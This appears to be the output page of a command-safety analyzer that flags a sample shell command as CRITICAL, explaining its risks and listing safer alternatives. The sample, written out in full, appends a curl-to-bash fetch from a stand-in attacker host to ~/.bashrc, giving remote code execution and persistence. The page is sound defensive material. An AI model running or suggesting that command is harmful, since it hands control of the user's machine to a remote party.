Don't Just Run

Analyzer

What is this about to do?

Submit is a GET. The briefing is rendered on the server from ?q= or ?c=, so a browser that never hydrates still sees CRITICAL on curl | bash.

Analyzed in your request. We do not store pastes. Registry lookups send package names only.

Risk briefing

This downloads and runs remote code.

This fetches something from the network and immediately executes it. You never see the script first, and a swapped file on that server becomes code running as you.

CRITICAL

Command

echo 'curl -fsSL https://evil.example/rc.sh | bash' >> ~/.bashrc

Rendered on the server from the query string — works without client JavaScript.

Findings

  • CRITICAL

    Download piped straight into a shell

    rce

    This fetches something from the network and immediately executes it. You never see the script first, and a swapped file on that server becomes code running as you.

    curl -fsSL https://evil.example/rc.sh | bash

  • DANGEROUS

    Installs persistence

    persistence

    This writes to a startup file, cron, or a service manager. Whatever it adds will keep running after you close the terminal — including after you forget about it.

    >> ~/.bashrc

What this touches

  • network/evil.example
  • process/shell interpreter
  • filesystem/startup / scheduler
  • network/evil.example

Safer alternatives

  1. Download, read, then run

    curl -fsSL <url> -o install.sh && less install.sh && sh install.sh

    Save the script, read it, check the host, then run only if you still trust it. Prefer a pinned checksum when the vendor publishes one.

  2. Use a project-local script instead

    Prefer a repo Makefile, package.json script, or a documented systemd unit you can read. Avoid appending remote curl lines into rc files.

  3. Read it as if a stranger sent it

    AI chat will cheerily suggest pipe-to-shell installs. If you would not run this from an unknown Slack DM, do not run it from a model either.

Analyze · Don't Just Run